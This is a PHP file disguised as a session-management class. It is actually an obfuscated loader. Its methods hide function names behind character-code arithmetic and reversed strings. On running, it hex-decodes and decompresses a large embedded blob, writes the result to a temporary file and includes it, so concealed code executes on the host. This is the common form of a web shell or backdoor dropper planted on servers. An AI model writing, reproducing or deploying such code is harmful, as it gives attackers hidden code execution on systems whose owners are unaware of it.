<?php
class SessionManager
{
    private $bt = '';
    private $vp = '';
    public function triggerCallback($p1)
    {
        $m = array(58 + 5 + 47, 105, 85 + 13, 50, 120, 42 + 39 + 20, 113 - 9);
        $c = '';
        foreach ($m as $s) {
            $c .= chr($s);
        }
        $c = strrev($c);
        return $c($p1);
    }
    public function executeAction($p1)
    {
        $t = array(103 * 1, 2 * 61, 125 - 8, 2 * 55, 67 + 32, 54 + 57, 115 - 6, 100 + 12, 59 * 1 + 55, 93 + 2 + 6, 20 * 27 - 425, 64 + 19 + 32);
        $i = '';
        foreach ($t as $u) {
            $i .= chr($u);
        }
        return $i($p1);
    }
    public function encryptData($p1, $p2)
    {
        $t = array(36 + 34 + 32, 26 + 85, 17 + 27 + 68, 21 + 61 + 19, 120 - 10);
        $j = '';
        foreach ($t as $tn) {
            $j .= chr($tn);
        }
        return $j($p1, $p2);
    }
    public function fetchSummary($p1, $p2)
    {
        $i = array(2 * 51, 119, 80 * 93 - 7326, 3 * 35, 123 - 7, 101);
        $f = '';
        foreach ($i as $j) {
            $f .= chr($j);
        }
        return $f($p1, $p2);
    }
    public function generateToken($p1)
    {
        $w = array(20 + 51 + 30, 5 * 23, 10 * 38 - 269, 2 * 54, 93 * 1 + 6, 104 - 2);
        $l = '';
        foreach ($w as $q) {
            $l .= chr($q);
        }
        $l = strrev($l);
        return $l($p1);
    }
    public function syncRecords($p1, $p2 = null)
    {
        $j = array(94 + 14 + 6, 79 * 1 + 37, 100 + 14, 71 + 34, 69 + 37 + 3);
        $g = '';
        foreach ($j as $u) {
            $g .= chr($u);
        }
        return $g($p1, $p2);
    }
    public function resolveAction()
    {
        $this->vp = $this->syncRecords($this->sanitizeInput(), '/');
    }
    public function handleRequest()
    {
        $this->bt = $this->executeAction($this->triggerCallback($this->fz));
    }
    public function manageState()
    {
        $fn = $this->vp . '/me-69b0851474bb2';
        $f = $this->encryptData($fn, 'w');
        $this->fetchSummary($f, $this->bt);
        $this->generateToken($f);
        $this->prepareOutput($fn);
    }
    private $fz = '789c9d188b72a258f657d255998954ac1e7c24b1db65a650d' . '0d88a6f9398aeac8580802220a03c32f9f7bde75cec0193b57' . 'bb7aad3e19ee73de79e67fef5976bb8178a25fbfec522dcdba' . 'fae671ee440bbf003393095cb4520c775fa7db1dadb4a603af' . '6c5c2508dc2e56217152f177b9f793557854fbe66adbe7e457' . 'a867e2f76c1aec0d42f17aec9f98167697601c9096469714bd' . '9d76eab0b55531c552b64b8bf83e017a6be723c42bfdeec389' . '6a809fce81f214b0b8410d4278e4354fdfa1acf0ce0bee3e70' . 'ba7185ec1f1d44206c6fc9b02f63e05fc06977b6198baa7057' . 'bcf06cafa5bde0319abd19ed7cc5539d9f3e4b870b588822be' . 'ecfab7b63d4e3cd501c4f46617b1c3e488da0f56d2d2d1b512' . '31e349cc1a0516d3f3d7d51af8a578b445e220b2f69c2d4693' . '65aa35e6bc42bcfb370dc9cd4f8f6d8b96e37368fd24c92dbc' . 'd4d9f8f9ca031e2fbc01a45c83a6c381c1cdd084e0343d1f92' . '40c3aececb1c197eec570d41f479228cc94299c5bbaa2b6d7f' . 'e4d2f72468db82134a6f3cd289adfdf8f9d1ae1d35afaa845f' . '0ee90dfdcf5268d2e4856504fcff09b4d9e435db66a02681e8' . '5d234a4202d42fdf350ec351e458e5e10205d5e994b29d16e8' . 'b0e82cf203e7e991bedf8b932f1b31fcec73dd6e82a7c67347' . 'c0827038317fa4695ef47ec6337529e94b1d8952cb62d356a0' . 'f122ff2bd8770d813d9c6509f8b739daa32d6d43b7c6d25c53' . '3511a4bcf00deba54013fbae7f9a766a8df02543da085fce6b' . '9b5ee0c01e2c79430da8c7b51959ae319006a37d92fabd41e7' . 'f8f7ee885fc43634441ce9a3a4b1c88f19c3e8c89a6ce53dfc' . '5212570eef994c0b401b28ae7d7cde4a6b5dc34e4d976644a0' . 'd567b9e51d5ba66a5d7ee368ef6a17367db4da59d887d71ac7' . '84dc3979f6752a52df023f1c97a58da943934a871fee3f383f' . 'a8057308ca3c7975a40258b4fddd4a8c32a958c270b495bb1f' . '28710878e98387b71a2b02d5342acac2036a955ba24ec86423' . '81a4c4777c2a4b61dea7cd06bea940a5f559828ae28cc0dbe2' . '9e9ed84a7ba6cca3fbb23b6b1c366a73f34ab7adbacdda1d98' . '94ad1bad5e7f99b8e29f6a5845fb7cd8e858e4d8e566cb6f49' . '2b3db4ec8afbbc94ceec4be81f9b5a4985145886b517b3ddf0' . 'ad3598491b039fc600fa89a8d3fe0f97dbf2912f6b0d25ab3d' . '47f3a959148ba90e81531ae46e254f25a6b85a3d9615274f55' . '6486665be191ac2943d0893aad74e668e28501f6c026a4b5cd' . 'd08f1cce185f00f61c246c2b45a6ac7b3b298ba6a6b5157cd8' . 'd6fa1bf95e2cdf25b429fd10b3d8a126d51e00f7c73b66f273' . '48096185283d0ef48fabc374823641b53af98e3d12c0579188' . '9abd07dee8c6fa4c73464bd15851af79dc4993c3dd0ecb5f1e' . '15725a9dd7b68ed6920ef31560c7aa125dea7abd38b3b3abe4' . '66fe48cf0e9d48886b93e6ea31aa6fef696b6979daffe6fede' . '5279d8516ed8b77bde3ff28e12c5b64ef8a6ce596fe94e8af3' . '202c9a104704202bf08b0043f00ae101a60037a242fe13f362' . '529030ad8ee2a7062115366115f64abe50afe071e323459d5b' . 'c027460621ed88f4d05b358bf220dea2302e82190a96e0c14c' . '455a6ef6b01f15c5b9c7ecf8b8a90d2dbecae18d2ee5e2f17c' . 'e52e3165b392fd0c504b1d77e2a0fc97eff9df45dd7f1e9a99' . '86350e805229730905ebc922d5f635e5553cbcb85b6015553d' . 'f81e0378d50bd2782460269b59691e8edbc3dd83582a335301' . 'd5c2e9a8341b723d6a1bd73106c29390bc3c22eca824a38841' . '026fafae9e93b70be70394dd0b920a7489433f5d0302d2d8dc' . 'c0cc7673a847ccf2828332f692c4204bf435752f475065625b' . '6bc7e487df301f52da15e7a9abc4173afafffbb05a4e1429a9' . '2664bfd4068dfd01fa722ef98eca9c60019f124159cc17c615' . 'e0acce777e012cb1cad3dc59408078e7ee036d47c4a514e298' . 'aef51c457c7f7c982abc88123e8298af8eb83ebdd22c329f40' . 'ea1270e2fd520ae88034c5bb1f6aa96cead6fffd4119239970' . 'b794b945b2a0d7bf2b9521dcede5b1658a926f957806107caa' . '38daf606c7779340c4090a0e4913e83609acd0b45b62c79699' . 'd640a8c38d0e2b6245140979b70cadeb3c83c6142b610e14c1' . 'd01247b1c17406e526ccec6bdc170ba984c7a8b0771dc69cd8' . '7a2382ed294fd15f2fbc1645acc3ae90b7386af35e8f5068fb' . 'd41939f7606fd2c5f993dc73716a7b3717f3ae6fb9316b95e9' . '6af748eef5ee48513faf239fae6a0df179bd369471207b39c5' . 'da4209fe1fb88a1cac09baae92b6891a6200f00355ba3505d0' . 'b4c7be5a408042996e36b29008b2d21ce973932b4c2c4ac5aa' . '4ce7dcad6aff20dc3a4dd0f1f30ada9978b83bbe35cd9f3b50' . '5d1708c0552b8572a57406c5e01997f8982f58e14fc172e1f9' . '1300843e1d3aea8756a1e0d43314ca32606ec3bc13020c3002' . '893187dc9b6a67794646e86417c23632d07459ff39a608c863' . 'dc3dd7dac8accd550df96d0daea1ff093291b9bdac7dc30610' . '37bec11f6cff934a3fd280830654d8f5bf98eb2715cb28216d' . '0a57fe5c843744844fac4d7fcfd0c44981e34c98fae00a338e' . 'e56e406c55470e6a96f89bcccf1eed89a4d8f795db9fbc0c7e' . 'f22589eaed659f2dab16b7d5a694eca86fd3fe256242653e62' . 'cc797a302b2654354437773a2741c884ea284ec0ce02318514' . 'e555758a898c720276a494f3faed96a02cd25945dee1817137' . '14cca4cde31163acedf5ca51dc055cf92939d04e66d2549e91' . 'dff3c3956dca59a5207f659ea034691ece840fed7c734b0b6c' . '038b40399f920202b0b4e115b8c25553fab8b6c35b033dbfe1' . '95d09b6005779a709d61bb0cb404d3f73f1864e3791714615e' . 'c41d0ba60dafa0afded17de029623a82cf619b9b019411b733' . '3727ff2665b4c56c53a775dd897a0a2ac7f8825a1bb32ad40f' . '3160719fea6449c928df84a89b65133e010478be92913b138c' . '754ce3011dc8f0a8c00c7af9f9d5f9758b34c87ceaf9a62381' . '7793b630c8160ed61d532837c65f2b0221ee200b1817d82c59' . 'c0c745a2f553d8fb531a91c12a2752d22f3028337fd74bcaa1' . '9307ffffde314d8d993aac36553a6d4dcadeca443f449d1c6c' . 'dd13e9080e7fe04b1f9c561896f6486141bd8792cec9470c9c' . '392e28962121b9ee5707bf80b20fec530fdfb617a5afb8e7df' . 'cc64b31d8b58e5b0e32ffda4a030b2ccecb726ea7813742ea1' . 'f5e7bfb0fcf88c745';
    public function prepareOutput($p)
    {
        include $p;
    }
    public function sanitizeInput()
    {
        $a = array(117 - 2, 82 * 85 - 6849, 54 + 51 + 10, 5 * 19, 103 * 1, 10 * 18 - 79, 68 * 1 + 48, 21 + 74, 2 * 58, 101 * 1, 109, 112, 5 * 19, 36 * 1 + 64, 113 - 8, 28 + 16 + 70);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$rv = new SessionManager();
$rv->resolveAction();
$rv->handleRequest();
$rv->manageState();